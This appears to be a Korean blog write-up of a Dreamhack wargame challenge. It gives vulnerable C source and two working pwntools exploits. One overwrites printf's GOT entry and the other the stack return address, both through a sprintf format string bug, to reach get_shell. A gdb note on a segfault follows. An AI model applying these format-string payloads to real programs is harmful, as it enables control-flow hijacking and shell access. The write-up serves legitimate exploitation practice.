TIL: Format String Bug 2
Wargame: basic_exploitation_003
문제의 소스 코드는 아래와 같다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
char *heap_buf = (char *)malloc(0x80);
char stack_buf[0x90] = {};
initialize();
read(0, heap_buf, 0x80);
sprintf(stack_buf, heap_buf);
printf("ECHO : %s\n", stack_buf);
return 0;
}
Vulnerability Scanning
-
checksec
sprintf(stack_buf, heap_buf)
에서 사용자가 입력한heap_buf
를 사용하므로, fsb가 일어날 수 있다.get_shell()
을 실행하면 shell을 획득할 수 있다.
Exploit
sprintf(stack_buf, heap_buf)
에서 일어나는 fsb를 이용해 printf
의 GOT entry를 get_shell
의 주소로 변경해 shell을 획득하고자 했다.
from pwn import *
#p = process("./basic_exploitation_003")
p = remote("host3.dreamhack.games", 13267)
e = ELF("./basic_exploitation_003")
get_shell = 0x08048669
printf_got = e.got["printf"]
payload = p32(printf_got)
payload += p32(printf_got + 1)
payload += p32(printf_got + 2)
payload += p32(printf_got + 3)
s = "%{}c".format(0x69 - 0x10)
s += "%1$hhn"
s += "%{}c".format(0x86 - 0x69)
s += "%2$hhn"
s += "%{}c".format(0x04 - 0x86 + 0x100)
s += "%3$hhn"
s += "%{}c".format(0x08 - 0x104 + 0x100)
s += "%4$hhn"
payload += s.encode()
p.sendline(payload)
p.interactive()
-
처음에는 payload를 아래와 같이 작성하려 했으나,
sprintf
에서 segmentation fault가 발생했다. 아마도stack_buf
에 작성되는 문자열의 길이가 너무 길어 stack을 넘어서 write 권한이 없는 공간에까지 침범해서 seg fault가 발생한 것으로 보여 이 길이를 줄이기 위해 한 바이트씩 입력하도록 exploit code를 수정했다.payload = p32(printf_got) payload += p32(printf_got + 2) s = "%{}c".format(0x8669 - 0x8) s += "%1$hn" s += "%{}c".format(0x0804 - 0x8669 + 0x10000) s += "2$hn" payload += s.encode()
한 가지 의문인 점은 gdb에서
vmmap
, 혹은info proc mappings
를 통해 stack의 크기를 확인해보면 아래와 같이 0x21000이라고 뜨는데, 내가 위 payload를 통해 stack에 입력하는 데이터의 양은 약 0x10804 byte이므로 stack의 size보다 작다는 점이다. 따라서 이 데이터의 양이 stack의 범위를 벗어나지 않으므로 seg fault가 발생하지 않아야 한다고 생각했다.궁금증을 해결하기 위해
sprintf
를 실행할 시점의 $esp의 값을 gdb로 확인해보았다. $esp의 값은 0xffffd2b8임을 확인할 수 있다.vmmap
, 혹은info proc mappings
로 확인한 stack의 end addr (bottom)의 주소는 0xffffe000이므로, 현재 할당된 stack의 size는 0xd48 byte밖에 되지 않음을 확인할 수 있다. 따라서vmmap
에서 출력된 stack의 size는 사실 stack의 최대 size인 것이고, 실제 stack의 size는 내가 작성했던 데이터의 양보다 훨씬 작았음을 확인할 수 있었다.
두 번째 풀이
sprintf
에서 사용자가 입력한 값을 stack에 작성한다는 사실을 이용해 stack 상의 return address를 overwrite할 수 있다.
from pwn import *
#p = process("./basic_exploitation_003")
p = remote("host3.dreamhack.games", 13267)
e = ELF("./basic_exploitation_003")
get_shell = e.symbols["get_shell"]
payload = "%{}c".format(0x9c).encode() + p32(get_shell)
p.sendline(payload)
p.interactive()
-
gdb를 통해 stack의 구조를 아래와 같이 파악할 수 있다.
stack_buf 0x90 heap_buf의 주소 0x4 dummy 0x8 return address 0x4 따라서 0x90 + 0x4 + 0x8 = 0x9c byte만큼의 dummy data를 작성하고, 그 뒤에
get_shell
의 주소를 작성하면 된다.이때 heap_buf의 size가 0x80으로 제한되어 있으므로, 직접 0x9c byte만큼의 데이터를 작성하지 않고, format string을 활용해 작성한다. (
”%{}c”.format(0x9c)
)
Leave a comment